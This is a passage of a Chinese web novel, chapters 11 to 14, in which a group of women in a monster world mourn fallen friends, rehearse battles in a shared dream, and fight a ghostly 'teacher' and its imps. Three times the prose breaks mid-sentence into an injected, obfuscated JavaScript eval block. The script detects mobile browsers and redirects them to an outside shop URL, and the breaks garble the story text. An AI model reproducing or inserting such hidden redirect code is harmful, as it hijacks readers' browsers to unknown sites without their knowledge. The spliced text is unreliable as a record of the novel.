“带着她们回去!” 陈枫的声音越来越小。她被密密麻麻的小怪挡住,她与入口的中间,近乎是隔着一层怪海。 唬子和归霞一齐用力,钢板折成一个羽毛球形状,唬子失重坠下。归霞踩着唬子的身体先上来,一左一右抓起孟书孔和赵月就往地道里跳。 陈枫也许是看到归霞带着人走的影子,也看到江临歌和张玉莉还愣在原地。 她用她最后的生命与力气,呐喊出最后两个字。 “快走!” 张玉莉表情拧在一块,咬牙,一把揽起江临歌的腰,携着她往地道里跳。 她也用独属于自己的方式回应陈枫。声音穿透洞口与怪海,进入陈枫的耳朵。 “我们会活下去的!” 11. 第十一章 地道看似深不见底,实则暗藏玄机。约莫往下掉落个七八米,几个人仿佛穿过一层结界,视野从最初的漆黑一片变得清亮有烛光。 张玉莉抱着江临歌摔下来,不轻不重落在唬子的肚皮上。 回神向上瞅,天花板没有下坠时的通道,而是封死的岩壁。 用游戏术语来说,她们现在已经完成了切换地图的工作,上一个副本的怪打不进来。 江临歌感觉天旋地转,心里落空空的,有种她说不上来的感受。 陈枫她……为什么要这么做。如果只是最后那一下,她们一起努努力,争取一点时间,逃到这边之后就不会被攻击了。 陈枫不知道跳到地道后会有结界,她们也没强行带陈枫回来。 该死。 江临歌愤怒地锤了下唬子的肚皮。唬子嗷呜一声,把江临歌和张玉莉抖下来。 江临歌还没回过神,她忘了自己在唬子身上。她以为自己又要摔一个狗吃屎,谁曾想有人稳稳当当接住她。 公主抱那种。 张玉莉一副高傲矜贵的姿态,她把江临歌放下,骂她:“不要动不动就生气。” 唬子站在一旁附和,表示抗议。 江临歌没有理会张玉莉,眼睛扫过四周,发现这是一个山洞,但是不深,七八米开外就能发现出口。把目光再拉远点儿,能发现五十米左右,有一个老式的四合院。她们所在的位置是四合院后山的一个小坡,还挺像回农村老家找到一个秘密基地洞穴。 相较于很“美式”的废旧研究院,四合院这种“中式”怪谈反而让人不敢靠近。 这里或许是“母体”锻造的一个特殊空间,任何风吹草动都有可能是“母体”设置的陷阱。 洞窟内点着蜡烛,大约三米左右就放置一个。在隧道的两端平行排开,也不冒烟,甚至蜡烛不往下滴蜡。 就……蛮诡异的。这种蜡烛多半是招魂的时候才会出现。 赵月蹲在地上,她的哭声咿咿呀呀、断断续续,放在这场景算得上是应景。 “陈枫也没了……陈枫为什么要离开,明明只要再坚持一下,她再坚持一下就可以……”赵月用她哭红的眼睛对着其他人,“如果接下来,我们还会有人牺牲,该怎么办?” “如果我们最终的结局是全员牺牲,那我们前仆后继地去赴死的意义是什么!” 赵月的情绪几经崩溃,短时间内失去两位重要的伙伴对她打击极大。 张玉莉蹲下身,和赵月平视。刚刚摔了下,额角的发卡歪了,她看上去也乱糟糟的。 “赵月,你记得陈枫她曾经是省队的运动员吗?”张玉莉伸手,拍了拍赵月的肩膀。 赵月抽了抽鼻子,点头。 “她说,她曾经是学校里跑得最快的学生。她以为她能进国家队,以后能去参加奥运会。” 江临歌一怔,想起陈枫对她说过的话。 “不是受伤退役,也不是那场大雨毁了她的晋级梦。现实用最惨烈的结果告诉陈枫,她就是天赋不足,她跑不过别的人。” “陈枫说,如果有机会,她依然想要证明自己的速度比别人快。” “所以她才解锁了加速的技能,所以她才会在最后的关头引开所有怪物。” “这是她自己的选择,也是她希望这一生有一个能够证明自己的时刻。” 每个人都是抱着必死的决心面对战斗,陈枫所做的无非是她想要在临死前完成的愿望。没有人能评判她做得是对还是错误,就像她们掉下来之前不知道新场地有结界一样。 江临歌呆呆地望着这一切,没说话。 孟书孔和归霞围上赵月,安抚她不安定的情绪。就好像在灾难后,幸存者们互相安慰,互相打气,继续面对将来未知的风险。 好消息是唬子的身上一直背着从钢铁城邦带来的物资,有水,食物,还有一些备用的弹药和武器。这些东西哪怕进入结界后依然没有消失。 江临歌窝在唬子的腹部,啃着带来的干粮。唬子趴在地上休息,孟书孔和归霞陪赵月聊天,好让她疏解烦闷。 江临歌微微抬眸,目光沉稳地盯着站在她面前的女人。 “能坐你旁边吗?”张玉莉问她。 江临歌点了下头,表示同意。张玉莉自然而然坐在江临歌的侧边。 “你不去陪赵月吗?”江临歌不解。 张玉莉笑着摇摇头:“我觉得你也挺需要陪的。” “没有战斗异能,只能靠身体机能的感觉肯定不好受吧。” 江临歌没陷入张玉莉的陷阱,轻轻摇头:“我觉得还好,陈枫还夸我有天赋来着,说明我比一般人强。” “反PUA这块倒是有一手。你比外头那些小姑娘反应快多了,她们好多都被我用两三句话拿捏得死死的。”张玉莉撩了下头发。 江临歌疑惑:“啥叫PUA?” 换张玉莉沉默。她问江临歌:“你多大?玩互联网吗?” “21岁左右吧?”江临歌记不太清,“互联网玩是有玩,不过那都是很早以前的事情了。” “我初中毕业就穿越进来,一直靠自己活到现在。中间偶尔也会遇到新穿越进来的人,或多或少知道外边世界的情况,但是很多细节就不太清楚了。” 张玉莉听完真想抽自己一巴掌,恨自己嘴欠。她以为江临歌和她看上去差不多大,是个脾气古怪的大学生。 原来她连大学都没读过,初中后就不再接触完整的人类社会。难怪她讲话方式那么欠,难怪她有时候又很臭屁地向别人炫耀。 仅仅只是因为,她还没有完全长大。 她的社会性被压制,在诡异世界谋生的这几年,全都要原始性维持。 张玉莉看江临歌落单,跑来和她说话原因无他。张玉莉有白马王子综合症,最喜欢做的事情就是拯救在悲伤中的女孩。 “我和你差不多大,现在在读大三,下学期就要准备毕业实习,陪舍友出来潇洒,结果就穿进来。” “比你多读了几年书,但是我发现我有些方面还不如你。” “就比如,你不会轻易被我牵着走。” 张玉莉把头埋在膝盖,歪着脸看向江临歌。江临歌被盯得头皮发麻,不和张玉莉对视,转而问她其他的问题:“你不伤心吗?赵月哭得那么惨,你怎么一点反应都没有。” “伤心啊,可一直伤心着能让她俩复活吗?”张玉莉苦笑。 江临歌打断她:“万一呢?母体连时间回溯,制造结界都能做到,万一她有能够让人起死回生的能力,被我们捡到不就能救活她们了。” “你还真是乐天派。”张玉莉感叹,“不过你提到的这个方法,说不定哪天真的能成。” “相信我准没错。”江临歌又开始自信心爆棚,“我会让她们复活的,只要我们能打败母体。不单能复活,还能回到原本的世界。” 张玉莉笑起来眼睛眯成一条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283717|198387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缝隙:“如此笃定?你相信事实真如你所想吗?” “我一直相信自己能够活下去。所以我在这个世界没被杀死。我如果一直相信打败母体后能够结束这一切,说不准……” “说不准就实现了呢?”江临歌说这句话时,少有的,眼睛亮起来。 张玉莉被她这幅表情弄得一愣。就好像是一块蒙尘已久的玉佩被擦拭干净,露出底下华美的花纹。 张玉莉伸手抱住她。江临歌的笃定让她不再给自己施压。 她说:“我相信你。” 在绝望之中的安定往往比希望更可贵。至少现在的张玉莉有一丝喘息的机会,她不用背负着为同伴复仇,找到回去的方法等等一系列任务。 她只是听一个在诡异世界摸爬滚打的女孩和她说:“你看,怎么样都能活下来,活下来之后,我们再背负其他东西。” 江临歌她对张玉莉说的是发自内心的大实话。 她一定会让死去的伙伴复活。 一定会找到回家的方法。 她有很多时间,她可以等,她可以用余生一直探寻。只要她还活着。 洞穴的温度很低,几个年轻的女孩蜷缩在一块,接着唬子的温度取暖。归霞照旧打坐,她喜欢坐在唬子的背上。孟书孔彻夜研究“琪”医生的手稿,让她受益匪浅。 赵月找了圈,发现唬子的脖子那一块最暖和,硬是钻到那一块睡觉。 江临歌和张玉莉老早就睡了,她俩盖着江临歌宽大的军绿色外套依偎在唬子的肚子上。 梦里,江临歌照旧出现在与诡异世界对等的镜像世界。没有唬子,也没有其他人。 不过军绿色外套似乎不见了,她发现今晚梦里的穿着有些单薄。 身后传来不属于洞穴的躁动,江临歌神经紧绷,近乎是下意识地后退,随手捡起洞穴里的蜡烛对准声音的源头。 她举着蜡烛稍微靠近些,烛光照射出的先是军绿色外套,然后,是捧着外套的双手,接着是她的躯干,在然后是她的脸。 “看来你的梦境被我给破解了。”张玉莉操着轻快的语调,“江临歌,我好像和你一起进来了。” 江临歌和短路的机器人一般,定在那儿,隔了好一会儿才缓过来:“你进来了?” “具体原因先不分析,趁着我有一定战斗能力的功夫,我们快去预演。”张玉莉把外套丢在江临歌头上,江临歌挣扎几下,把头探出来。 “你先用一用你的能力吧,万一我的梦你用不了怎么办?”江临歌气鼓鼓地把外套穿上。 张玉莉轻佻地抬手,一道金色的电光萦绕在掌心,顺着她的躯干蔓延到地表。江临歌站在她旁边,只觉得浑身有一股酥麻的灼烧感。 “放心,好得很。”张玉莉点了下江临歌的额头。 江临歌瞪她一眼。 “话说回来,你梦里是不是瘦了点,矮了点?怎么和现实里不太像?”张玉莉忽然上下打量江临歌。 江临歌没好气道:“梦里是我15岁的样子,和现实里当然有差别了。” “哦。”张玉莉撇嘴,“看上去比现在可爱点,原来是15岁的样子。” “可爱在这个世界又不能当饭吃,只能被当饭吃。”江临歌不懂张玉莉说这些有的没的干啥,妥妥激怒她。 她们找了圈,没有特别趁手的武器,只好空手去探索四合院。 反正这次是预演,最差的结果无非是在梦里被杀死。 12. 第十二章 周围的乌鸦叫声沙沙,也不知它们是真的还是虚影。两个人并排走到四合院的大门口,木质的大门挂上腐朽的纹路,屋檐下吊着一盏摇摇欲坠的灯笼。 张玉莉深吸一口气,略微低头,瞄了眼江临歌。江临歌回她一个沉稳的眼神,随后一脚把四合院的大门踹出一个洞。 有了洞之后,江临歌伸手去开内侧的门闩,大门吱呀吱呀开了,她俩进去。 入门的装潢意外挺不错,相较于大户人家的前院,这里更像是一个封闭的学堂。正门对着的就是教室,还没进去,远远就瞧见“入座即静”四个字。 “进去吗?”江临歌向张玉莉投去问询的目光。 张玉莉抿唇,缓和一会儿嚷嚷:“走。” 她们从教室后门溜进去,迎面看见一个身高八尺的黑影站在讲台上。它手里拿着教鞭,面对两位偷溜进来的学生,发出严厉的嘶吼。 张玉莉和江临歌对视一眼,一左一右坐在位置上。教书先生徐徐飘起,悬浮在她俩之间的走道,用一种吸了氦气的又尖又细的声音开口。 “你们做错了事情,难道不反省吗?”它用不容置喙的声音道,“快点给我忏悔!” 张玉莉觉着反正是在梦里,胆子大到顶嘴:“有什么可忏悔的?” 先生的教鞭收拢,转而在手里变成一把铁扇,扇子的边缘带着尖刺,不偏不倚剐向张玉莉的肩头。 张玉莉吃痛,捂着伤口看向江临歌。用口型问,怎么梦里还会疼。 江临歌苦笑着摇头,没说话。 张玉莉深呼吸,任由伤口流血,面对黑影的命令,她忏悔:“我曾经想杀死过江临歌,在她能够消灭字灵的时候。就像是她踩着李雪芮的尸体,高呼是她靠自己拿到的胜利果实那般。” “可实际上,总有人要牺牲,要为后人铺路。我甚至应该夸赞江临歌的聪明,因为她第二次就发现字灵的弱点。” 江临歌静静地听完,表情没有变化。张玉莉把目光投到她脸上时,她甚至笑了笑。 黑影似乎很满意张玉莉的回答,将扇子一收,又指向江临歌:“你也反思一下你的罪过吧。” “张玉莉,你要用你的能力测试江临歌,看看她有没有撒谎。” 张玉莉当即翻脸,痛骂黑影:“你这样也太过分了吧?” 黑影没有五官,却从举止里泄露出她的情绪,它在看张玉莉和江临歌的笑话,偏偏还得装得像是一个正人君子那般说:“如果她也想杀死你,你该如何面对呢?” “人是一个很虚伪的生物,她的一切都是伪装的。” 江临歌看黑影的表情冷了,把脚翘到书桌上,模仿老师最不喜欢的混混学生。 “玉莉,它这种怪物就喜欢挑拨离间,你给我大胆监测。” 张玉莉瞧见江临歌一副不知天高地厚的表情,就知道这把稳赢。 黑影的语调放慢:“那你开始忏悔吧,江临歌,你要忏悔的事可太多了。” 江临歌大言不惭道:“我弟死在我面前了,我没能救回他。” “我穿越到这个世界时,我才15岁。刚刚结束中考,预定了重点高中的名额,父母带着我,还有我的龙凤胎弟妹准备去国外度假。” “那天的天气真好,飞机没有延误,两个小家伙也没吵架。我妈问我,以后想去美国还是英国,她可以把我塞到国际高中。我爸笑我妈太激进,问我喜欢哪个985,等我考上那个学校,他能托关系让我直博。” “飞机失事了。我到现在都还记得坠机时的失重感,以及坠落到山崖上,飞机爆炸后震耳的声响和灼人的火苗。” “醒来之后,我和我弟就到了这个世界。妹妹似乎没能进来,母父也没进来。” “我弟被黑雾感染,近乎是一瞬间就失去了生命特征。我救不了他,我逃走了,离那一块地方很远很远。” 江临歌难得露出几分悲伤的情绪:“是我害死了他,我明明可以牺牲自己的。这样他也不需要一头撞进黑雾潮中,被瞬间湮灭。” 她说完了。很老套的电影场景,一家人其乐融融地去国外度假,随后飞机出了事故,都回不来了。这个故事最让人抓心挠肝的地方在于,江临歌那时候特别幸福。 学历,家庭,地位,金钱。她一出生就拥有这些常人难以获得的东西,如果她家里没出事,她现在或许就在某个名校顶着毕业帽和家里人合影。然后她的弟弟妹妹拿着同样强势的录取通知书,在她面前炫耀。 张玉莉听完,能力监测没有任何波动。江临歌没说谎。 黑影似乎很满意江临歌的实诚,发出渗人的笑声,化作一缕黑烟消失在原地。扇子落在地上,哐当作响。 江临歌捡起扇子,一开一合,自娱自乐耍起来。相较于江临歌的乐天派个性,张玉莉反而沉浸在方才的对话中。 她还说自己曾经想杀了江临歌。 而江临歌非但没有生气,反而是在忏悔自己害了弟弟的事儿。 “玉莉,走啦,那个黑影似乎不是攻击型的怪物,问完话就好了。我们去前边看看还有什么。”江临歌朝张玉莉露出笑容,明明也是刚刚结束忏悔的人,她为什么一点儿都不伤心呢? 张玉莉鼓起勇气,抓住江临歌的手腕。江临歌歪头,扬起眉毛:“别难过,我没放在心上,好多人都想杀我呢,不差你一个。” “你这人。”张玉莉哼了声,笑起来。她也不知道有什么好笑的。 江临歌没继续和她拌嘴,动了动胳膊,往前走。张玉莉拽着她的手腕,跟着她走。 还没出教室,一道运动极快的黑影占据她们的视线,江临歌反应迅速,拿铁扇挡在面前。一声凌厉的金属碰撞声,接着那小团黑影落地,站在江临歌跟前。 是一个举着刀的小鬼,尖牙利齿,身形龌龊,嘴里叼着一把锃亮的尖刀。 江临歌“啧”了声,怕那小鬼溜走,张玉莉紧随其后,一道电流电得那小鬼找不着北。江临歌见状,当即用铁扇狠命往那小鬼身上剐,短一瞬的功夫,小鬼被一分为二。 江临歌低头,捡起那把菜刀,交给张玉莉。 耳边又有生物活动的风声。江临歌和张玉莉背靠背,全方位无死角巡视四周。 借着张玉莉的电光,她们发现又有两只小鬼藏在影子里。它们能够融入黑暗,就像是在水里游泳那边不断穿梭跳跃。 两只小鬼同时蹿出,迎面和两人拼刀。江临歌用扇子一掀,反杀那只小鬼,扭头看张玉莉,她拼刀时反应很快,与那小鬼速度不相上下,二者难舍难分,都无法砍到对方。 江临歌妄图去帮助张玉莉,张玉莉稍微回眸,神色大惊,顾不得身后小鬼下一轮刀刃,提醒江临歌:“身后!” 没想到,被江临歌用扇字杀死的两只小鬼都爬了起来,融入漆黑的影子后,钻出来又是活蹦乱跳的模样。它们张开尖牙,纷纷扑向江临歌。 张玉莉面对的小鬼看准时机,对着张玉莉的胸膛狠狠一刺,活生生将她的心脏都挖出来。 江临歌的身后两只小鬼攀上她,有刀的那一个没留她活口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283718|198387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下插进江临歌的后背。 “玉莉!玉莉!”江临歌失声尖叫,她猛的睁开眼,看到的是最初滞留的洞穴顶。 她的声音惊动其他伙伴,大家都去查看江临歌发生了什么事情。 张玉莉先一步搂住她,随后揉着她的脸:“我在,没事的临歌,我还活着,刚刚那是做梦。” 江临歌感受到张玉莉的温度,愣愣抬头,瞧见张玉莉就在她正前方,其他伙伴都看着她,忧心忡忡。 “你活着?”江临歌伸手摸了摸张玉莉的脸。从未有伙伴进入她的梦中,她所见到伙伴死亡的惨状,无一例外都是现实里发生的。 张玉莉点点头,对她笑:“活着。” 赵月在一旁拉了拉孟书孔,贴在孟书孔耳边蛐蛐:“我早就怀疑玉莉是lesbian了。” “我觉得不像。”孟书孔反驳,“那圈子不是出了名的卡学历吗?” “江临歌只有初中毕业。” 赵月摇摇头,叹了口气。 张玉莉把江临歌的耳朵捂上。江临歌眨巴眼望着她:“干嘛。” “刚刚她们在讲很可怕的事情,你不要听。”张玉莉很认真说。 江临歌不理解,问:“能有多可怕?” “比你被吓到喊‘玉莉,玉莉’的时候还要可怕,你肯定听了一次之后就会抱头痛哭。” 江临歌觉得张玉莉让她回忆起刚才的情形才是最可怕的。她抬手把张玉莉推开,连对视都不敢和张玉莉对视,嘟囔:“与其说那些有的没的,还不如研究一下你怎么进到我的梦里。” “哦。”张玉莉笑嘻嘻面对江临歌的动作,“可能是我俩有心灵感应,脑电波对上了。” 江临歌“啊”了下,质问张玉莉:“你用能力了?” 张玉莉无语。 “你快试试啦,用你的能力把我们的脑电波全都串起来。”江临歌抓着张玉莉的手晃啊晃。 张玉莉没招,把其他人都叫过来围着唬子,说了方才她们经历的事情。 “你们被能够藏在影子里的小鬼杀了?”孟书孔摸着下巴思考,“既然张玉莉能够进入江临歌的梦境,我想我们应该也能进去。” “玉莉,你的能力真的可以链接脑电波吗?”赵月睁着她的大眼睛看张玉莉。 张玉莉汗颜,说:“我也不是很清楚,江临歌说试试我就试试呗。” “江临歌吗?”赵月的语调一上一下,她扭头勾搭上江临歌的脖子,“临歌,我们俩好,不要理玉莉。” 江临歌挑眉,招呼归霞不要老坐在唬子背上,和她们睡一块。归霞轻巧从狗背上跃下,微微欠身表示打扰了。 张玉莉皮笑肉不笑,几个人排排躺在唬子肚子上,还挺滑稽的。等几个人都找到最舒服的姿势,张玉莉催动能力。 边催动,张玉莉还在想,几个人的入睡时间都不同,怎么才能链接上。 回神,她就发现自己站在山洞里,前方站着江临歌。 下一个出现的人是赵月,彩色的粉末从头顶开始凝聚赵月,直到堆叠出她一整个人。仿佛把人从粒子为单位开始重组。 紧接着是孟书孔,然后是归霞。 甚至于唬子,她也进来了。 “这是临歌的镜像世界吗?”赵月活动了下身体,发现没什么不同。 所有人的目光投向江临歌。 面前那个女孩更加瘦弱了些,眼神更为清澈,脸颊还带有些许没有褪去的婴儿肥。 那是15岁的江临歌。她们进来了。 13. 第十三章 在梦境中大伙儿尝试用一下自身的能力。所有人都能正常使用,唯独归霞,她说她在梦境里运的气是虚浮的,无法击打出现实里那样雄厚的伤害。还有,她的剑也没办法带入梦境。 归霞的战斗力直接下降了好几个档次。 唬子的震天吼也没了。唬子很伤心,在地上拼命磨爪子,想让爪子尖一点。 看似削弱了战斗力,实则增强了她们战斗时的勇气。和现实产生差距所带来的影响就是让她们确信这里是梦境,是能够容得下一切错误的地方,包括死亡。 她们管最初让闯入者忏悔的灵魂叫“老师”,毕竟举着教鞭到处让人认错忏悔,像极了老师的做派。 她们经历过几次战斗之后,总结了如下经验。 一、每次进入梦境时,老师会用同样的方式提问,她们用同样的话回答即可。每次进入都相当于关卡重开。 二、小鬼的特性是潜伏在影子里,只有在忏悔结束后才会出现,喜欢攻击落单的成员。无法用物理手段杀死,需要一些前置条件,总共有四只。 三、只要江临歌没死,其他人在不需要重复入睡,会重新回到后山的洞穴出生点刷新。 现在的问题就是小鬼杀不死。 赵月和孟书孔已经从出生点回归数次,其他人多多少少负伤,面对小鬼永无止境的攻击,她们无从下手。 等到江临歌被杀死,不得不来一次大回档时,江临歌的脑子里闪过一道灵光。 “我们把老师杀了。”江临歌如是说。 归霞回应:“是否有些太过大逆不道?” “它让我们忏悔那么多次就很大顺有道了?”赵月气鼓鼓地,她最讨厌就是别人窥探她的隐私。 张玉莉蓄势待发,想必忍了许久:“我早就想削了那个神叨叨的老师了。” 孟书孔和唬子表示同意点点头,一行人再度进入镜像世界。 同样是漆黑的教室,同样是黑影的诘问,江临歌趁着老师把教鞭变成扇子的空档,飞扑而上,在空中翻身夺过老师的铁扇。张玉莉趁机使用能力延缓老师的动作,江临歌落地,反跃回去,张开那扇子锋利的边刃,“刷”的一声割断老师的脖颈。 与切小鬼的触感不同,老师的脖子显然更为劲道。江临歌能够感知到一种切开果冻的质感,紧接着老师脖子的断口处涌流出紫色的粘液,扑腾一下倒在地上。 江临歌挥了挥手中的扇子,再看隐秘处的小鬼,它们群龙无首,惊慌失措逃窜。 “我想它们能够一直复活的原因是有老师在黑暗处撑腰,如今老师已经死去,小鬼自然就会到处逃窜。”江临歌提手,扇子骤然飞出,精致砍中即将遁入影子的小鬼。刀刃砍断小怪的腰,钉在墙壁上。 张玉莉去捡小鬼掉落的尖刀,注意力放在藏匿于黑暗中不肯出来的小鬼上,问:“接下来我们该怎么办?” “点亮这里。” 江临歌话音刚落,张玉莉明白她的意思,强劲的电流如同蛛网般迅速覆盖整个教室的天花板。如同将圣诞节的彩灯悬挂于此,任何黑暗都无处安放。 江临歌拔下卡在墙上的扇子,反应极快地向前甩出。扇子特殊的形态让它有回旋镖的效果,竟然一击连中三只小鬼后又被江临歌接住。 赵月看完江临歌秀操作,情不自禁吹起口哨。 归霞也是一愣,讷讷道:“江小友可曾去过海豹突击队?” “海豹突击队没去过,黑雾远征队倒是有。”江临歌同归霞说笑。 几个人相互注视片刻,梦境消散,回归现实。 她们重新回到最初的山洞中。 “这是什么情况?”孟书孔晃脑袋,去身旁拿起眼镜戴上。 江临歌解释:“应该是杀完小鬼之后,母体有所感应,替我们换了地址。也就是换地图,我的梦不能够预演新地图。” “了解,相当于杀完小鬼,就是目前这一关卡的末尾。”赵月点点头,刘海一颤一颤的。 虽说在睡梦中她们大战了几百回合,放现实里妥妥的睡觉回能。归霞能够用气功和宝剑,唬子能用震天吼,简直是火力全开。 加之几个人都已经熟悉与小鬼战斗的注意要点,身手差些的赵月和孟书孔也晓得如何闪避,这就足够了。 武器方面除了归霞的宝剑,张玉莉的棒子也跟着跳进来。李雪芮遗留的枪支还在,陈枫的匕首随着她的奔跑没入血块尸潮。 临走前,张玉莉叫住江临歌。江临歌还是那副空着手无所畏惧的模样,双手揣在军绿色外套里,里边打底的白衬衫缺了一个口子。 主要还是头发太乱,她自己应该有拿刀切过,发尾是平的目前长度刚刚过肩,刘海自由生长垂在额头上。说她土气吧,长得倒是秀气,看到脸之后自动忽视穿搭。 张玉莉无奈想,江临歌好歹也是学阀世家出来的,要是没穿进这个世界,她大抵是高攀不上了。 “临歌,这个给你戴吧。”张玉莉把发卡从头上取下来,她的长卷发很飘逸,像是一条碎石密布的瀑布。 她顺手抚平江临歌乱糟糟的刘海,固定在侧边,还用心地留了些碎发。 江临歌转悠她乌溜溜的眼睛,一言不发。回神发现张玉莉撕下衣角的一条布,给自己简单扎一个马尾辫,随后举着棍棒要去讨伐老师与小鬼。 模拟考再多次,真正到了考场上的感受是完全不同的。哪怕几个人已经很熟悉踹门,找到教室,遇见老师这一段开头,还是不免有些紧张。 “我要你们忏悔……”老师完整的话还没说完,唬子一个震天吼掀翻教室的屋顶,随后江临歌趁机夺走铁扇,归霞一剑将老师劈成两半。 老师变成两坨蠕动的黑泥,在地上挣扎。 江临歌回眸扫了一眼,随后踩着课桌在半空中用扇子劈死一只妄图偷袭的小鬼。 赵月用能力控住一只小鬼,江临歌把刚杀死的小鬼掉落的尖刀扔给孟书孔。孟书孔接到后对着小鬼的脑袋猛刺。 黑暗中还有两只小鬼发现不对劲,一道电光划过,逼得它们从影子中跳出。张玉莉手持带钉的棒子,一下抡在小鬼的身上,和锤肉丸似的把它打散。 归霞则轻松捕捉剩下的一只小怪,提剑一捅,贯穿伤,小怪吊在她剑下,奄奄一息。 “赢得很轻松啊。”赵月踩了踩倒地不起的小鬼,嘚瑟起来。 梦中演练那么多次,真正到达现实的战场时,比她们想象中轻松很多。 张玉莉把棒子放在脚边,靠在一张课桌上。头顶是被唬子掀翻的天花板,往外看,天空也是一片混沌,连颗星星都没,唯一的光源是乌云后偶尔透出的,一两片诡异的红光。 犹如造物主的双眼在注视世界。 “江临歌,你说我们能出去吗?”张玉莉看着那片诡异的天空,她用电流为自己照明,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老师没死,即便是被归霞用剑切成两半,它还是没死。 它比小鬼们更为凶猛,化作黑暗的使者,露出锋利的爪牙撕碎江临歌一个又一个同伴。赵月被黑影刺穿了胸膛,孟书孔被碾碎头颅,甚至连归霞都自顾不暇,被黑影弄得伤痕累累。 “是扇子……”江临歌忽然明白了,“只有扇子,只有扇子才能把你杀死!” 江临歌的耳边传来唬子的嚎叫与激烈的风声,她的双眼被她用扇子砍老师的身体,涌流出来的粘液所覆盖。 她现在应该是在哭吧。 江临歌的意识终止于双眼再也看不到东西的瞬间。等她再重新复明,她又回到了熟悉的山洞。 回头看,归霞、孟书孔、赵月、唬子,她们都在。 唯独……唯独少了张玉莉。 江临歌摸了摸头上的发卡,发现它并没有消失,而是跟着佩戴者一起回溯。 死亡回溯的机制是以最先死亡的“候选者”为代价。 江临歌将头上的发卡取下来,握在手心,生怕它会丢失。直到拳头的指尖发白,她也被泪水糊了双眼。 “我答应你,玉莉。” “如果能有复活你们的方法,如果一切都能如愿以偿。” “我答应你。” 14. 第十四章 江临歌顶着发红的眼睛,在山洞里找到张玉莉那根带刺的棒子。死亡回溯机制就是这样捉弄人,李雪芮死后,她的枪被留下来,张玉莉死后,她的棍子被留下来。 这回江临歌没有和同伴们说一句话,同伴们也没多问。她们抱着沉重的心情跟上江临歌的步伐,看着江临歌用棍子把四合院的门敲碎,前去抢夺走黑影的扇子,紧接着用扇子了结老师。 四只小鬼连逃的功夫都没,就惨死在扇子的刀刃下。 再来一次就能成功,所以人总会放大第一次失败时失去的东西。 可谁又能预知老师只能用铁扇杀死,并且如果没有第一时间被杀死,老师会暴走成为极为强大的怪物。 江临歌拥有无限模拟与试错的能力,代价就是她只能靠自己去完成,用自己的力量,用自己的头脑,用她能想到的一切工具。 这片区域随着江临歌的通关,肉眼可见坍塌。归霞急忙到屋子里把江临歌捞出来,坍塌的房屋变成一片粘稠腐朽的沼泽, 一红一白两个穿着马甲的稻草人插在沼泽正中央,它俩脚下插着的并不是泥地,而是两团被钢针插着,被火烧过的,能辨认出人体组织的肉球。 “嘻嘻嘻嘻嘻,你们快来选吧!”稻草人发出尖锐又刺耳的声音。 红色的稻草人伸出她干枯的手,对准归霞:“你来选择吧!” “你的眼睛看不见,你不会被事物的表象所蒙蔽!” 归霞轻手轻脚放下江临歌,默默向前一步,象征着她是团队派出的代表。 稻草人又在嘻嘻嘻笑,疯疯癫癫说:“选红色的,你可以活下去哦。但是你的朋友们都要变成它们。” 它们指稻草人脚底下的肉球。 归霞不慌不忙问:“那白色呢?” 白色的稻草人桀桀桀笑出来:“选白色,选白色当然是你和你的朋友全都变成它们!” “瞎子,你再好好想想,你要选择哪个?”白色稻草人掩面狂笑。 “很多队伍的人都选了红盖头,甚至有人为了拿到选择权大打出手。” “而那些自认为有能力对抗我们,选择白盖头的人,全都变成这群肉团啦桀桀桀!” 归霞沉默,她没有临场发挥的特长,遇到这事儿她得缓一缓才能思考出结果。她必然是会选白色的,但是白色的稻草人说会施展攻击,什么样的攻击?会更加强大,并且不可控吗? 归霞她虽然强大,却并不是神挡杀神、佛挡杀佛的强,上一轮中面对老师的暴走,她被压制地毫无还手之力。 归霞需要一个选择白稻草人后的战斗对策。 “啰哩巴嗦问什么问题,就不选,我进奶茶店要的就是一杯柠檬水,不是你们给我推荐的当季新品或者优惠套餐知道吗!”赵月骑在唬子的头上,她的脾气急了许多。接二连三失去三个朋友,她才是在场最难受的。 “唬子,咬死它们!” 唬子对着天空嗷呜一声,一爪子呼上去,俩稻草人插在泥里,逃都没地逃。 “杀死她们!杀死她们!”稻草人失声尖叫,快速缩回沼泽中。 唬子站在沼泽地里发呆,寻思找不到攻击对象。地面发出剧烈的震颤,沼泽地撕裂开出一片宽广的沟壑,好似有何种巨物破土而出,唬子见状,赶忙招呼其他队友跳到她背上。 归霞自然不敢懈怠,左手江临歌,右手孟书孔,几下轻功腾跃转移到唬子的背上。 那破土而出的并非什么可怖的生物,而是一座庄严的,近乎与一座小山丘同等高度的一尊女神雕像。 雕像的神态栩栩如生,如同神明睥睨凡物,人类轻视蝼蚁。她的手里握着一把硕大的钢叉,在看到唬子的一刹,抬手刺去。 唬子慌忙躲闪,一跃而起,钢叉所到之处天崩地裂,无处可逃。 唬子仅有雕像的脚掌那么大,对于雕像来说,一脚踩死唬子并不是什么难事。 